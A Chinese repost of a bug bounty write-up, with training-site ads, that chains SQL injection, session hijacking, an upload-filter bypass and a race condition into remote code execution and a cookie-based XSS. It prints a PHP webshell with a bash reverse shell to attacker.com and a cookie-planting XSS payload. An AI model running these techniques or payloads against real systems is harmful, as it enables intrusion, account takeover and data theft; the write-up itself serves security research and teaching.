本文转自先知社区:
https://xz.aliyun.com/t/6396
原文链接:
https://medium.com/@mastomi/bug-bounty-exploiting-cookie-based-xss-by-finding-rce-a3e3e80041f3
在bugcrowd上挖漏洞的时候,我发现基于cookie型的XSS漏洞,给出的评级仅是P5,并没有达到严重的程度,这将会导致可能拿不到奖金,这是非常遗憾的一件事情。
在bugcrowd中搜索一段时间之后,我并没有找到具有XSS漏洞的子域名,然后我试着使用目录爆破进行查找,在其中一个子域名上,我找到了一个有趣的文件。
https://redacted.com/dir/_notes/dwsync.xml
文件dwsync.xml
是由Dreamweaver生成的,这个文件中包含与网站文件相关的信息。
《AWVS 10.5 子域名扫描、盲注、结果比较》复制链接做实验
http://www.hetianlab.com/expc.do?ec=ECID2ee2-d187-4b59-8995-ac5b8158539f(通过实验学习AWVS 10.5的子域名爆破工具 Subdomain Scanner、SQL盲注利用工具BlindSQL Injector 和扫描结果比较工具Compare Tester的使用)
默认情况下,访问网站需要凭据,然而,我无法在该网站上注册账户。上面我爆破得到的信息利用一下,根据dwsync.xml
文件中的信息,我们可以获得与目标网站上的文件相关的信息。所以我试图访问其中一个文件,例如我试图访问该文件redacted.php
。
在网站上看到会出现一条错误消息Undefined index: ver
,这意味着在页面上有一些ver尚未定义的变量。为此,我还将URL更改为:
https://redacted.com/dir/redacted.php?ver=1
页面的外观不仅发生变化,而且还显示数字1
虽然,不知道数字1
的含义是什么,但是看到URL中的参数,我试着在符号上添加参数,结果......
这个回显的错误看起来很熟悉,我立即尝试在SQLmap的帮助下进行SQL注入。获得下面的数据库列表:
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] redacted_db
[*] tmp
《sqlmap教程》复制链接做实验
http://www.hetianlab.com/cour.do?w=1&c=C172.19.104.182015011916013600001
由于已经发现了SQL注入漏洞,我试着将shell上传到目标服务器,但是结果失败了,所以我只能使用通过使用sql注入得到的网站数据,登录网站。
在提取redacted_db
数据库时,我找到了一个名为user_tbl
的表,在表格user
中,提供了目标站点很多信息,但是很不幸的是,password使用了MD5进行加密,当我试着破解的时候,没有得到任何反应。
我只能去找在该数据库中的其它表,继续深入,我找到一个名为session_tbl
的表,在该表中,只有三个列:id
,user_id
和session
。
我认为session
中包含该网站的用户,我在user_tbl
表中,查找具有更高级别的用户,并在表中查找session
列,
然后,我尝试使用会话名称将从数据库获得的会话session
值输入到Cookie网站中,最后我成功的登录了该网站。
在登录目标站点之后,我继续寻找其它可以被利用的漏洞,在网站有一个文件上传的功能,我试着测试一下。
我尝试上传后缀名为.phtml
的文件,但是被拒绝上传。
但我怀疑,过滤器只能在客户端运行。也就是说,有可能在Burpsuite等工具的帮助下绕过这个过滤。所以我试着使用burp,再次上传文件,这次是的后缀名是:.jpg
,然后使用Burpsuite拦截,将后缀名改为.phtml
的后缀名。
使用上述方法后,文件已经成功上传,查看响应,该文件存储在AWS中,而不是存储在目标站点上。
https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml
发现上传的文件存储在AWS中,知道自己在这个文件上可以做的事情并不多,因为我们的目标是Web服务器而不是AWS服务器。所以我也尝试了解目标服务器显示的响应。
/var/www/html/redacted/../redacted****/var/www/html/redacted/../redacted/info.phtml<br>Uploading part 2 of /var/www/html/redacted/../redacted/info.phtml.
Uploaded /var/www/html/redacted/../redacted/info.phtml to https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml.
SUCCESS 52673, 98235
从上面的响应中,我假设上传的文件除了存储在AWS上之外,有可能存储在目标站点的redacted
目录下。所以我尝试访问以下网址:
https://redacted.com/redacted/redacted/info.phtml
但是找不到该文件
经过一段时间的思考之后,我认为如果回响显示目录,那么redacted
与我上传的文件肯定是相关的。
假设:我们上传的文件存储在redacted
中的sementara
目录下,然后经过一段时间转移AWS服务器中的lempar
目录下。
如果上述的假设是正确的,那么在转移到AWS之前,我们的文件将在目标站点的服务器上停留一段时间。
为了验证这个假设,我使用burpsuite进行爆破redacted
前面目录中文件的url。
有一段时间该文件位于目标服务器上(HTTP回显是200的时候),并且在该文件消失不久(HTTP回显是404的时候),表明该文件已经转移至AWS服务器中。
根据上面的描述,我们可以上传PHP webshell以从目标网站拿到shell
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/1337 0>&1'");
最后我还可以访问目标服务器。
复制链接做实验:《远程代码执行漏洞》:http://www.hetianlab.com/expc.do?ec=ECID17a1-a051-4cad-8620-cab9825012a4
在拿到shell之后,我放置了一个包含javascript的HTML文件,以便在该网站上触发XSS攻击。
使用的HTML代码如下
<script>document.cookie = "evil=%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E@;path=/;domain=.redacted.com;";</script>
我们可以在redacted.com
上创建一个名为Evil的cookie,cookie中包含XSS payload:<img src=x>
结论
下面总结一些挖漏洞的技巧:
当发现低危漏洞时,最好不要立即上报,尽量扩大漏洞影响范围。
如果你发现该网站没有注册功能,使用dirsearch对目录进行爆破,爆破之后发现网站只显示一个登录页面,并没有注册功能,说明该网站只能由内部人员进行访问,对于这种类型的网站,通常漏洞还是很多的。
如果你发现SQL注入并且数据库上的用户名密码经过加密,可以查询该数据库下面的其它表,可能会有其它发现。
当你找到上传的测试点时,如果无法上传hell,尝试使用burp 更改上传文件的后缀名,进行上传操作。
感谢你的阅读,希望这篇文章可以给你启发。
大家有好的技术原创文章
欢迎投稿至邮箱:[email protected]
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦
有才能的你快来投稿吧!
了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!